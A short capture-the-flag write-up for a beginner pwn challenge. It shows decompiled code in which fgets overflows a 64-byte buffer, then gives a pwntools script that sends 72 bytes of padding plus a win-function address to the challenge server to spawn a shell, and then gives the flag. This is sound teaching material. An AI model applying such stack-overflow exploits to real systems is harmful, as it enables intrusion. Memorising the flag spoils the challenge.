![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/c2e19595-59fe-4e2e-bebb-d2c9a4c8ac23)
Decompiling with ghidra shows 2 functions:
```cvoid main(EVP_PKEY_CTX *param_1)
{  char buffer [64];   init(param_1);  puts("Would you like a flag?");  fgets(buffer,80,stdin);  system("cat fake_flag.txt");  return;}
void win(void)
{  system("/bin/sh");  return;}```
Basic buffer overflow, 64+8 bytes of junk +  address of win function, then get shell and print out flag.
![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/6448845b-9aea-4263-b376-88d30e7103b5)
Solve script:
```pyfrom pwn import *
r = remote("challs.n00bzunit3d.xyz", 35932)
r.sendline(b"A"*72 + p64(0x000000000040124a))
r.interactive()```
![image](https://github.com/jeromepalayoor/ctf-archive-hub/assets/63996033/35d11284-e4ea-4f12-b355-39ea871a88a6)
Flag: `n00bz{PWN_1_Cl34r3d_n0w_0nt0_PWN_2!!!}`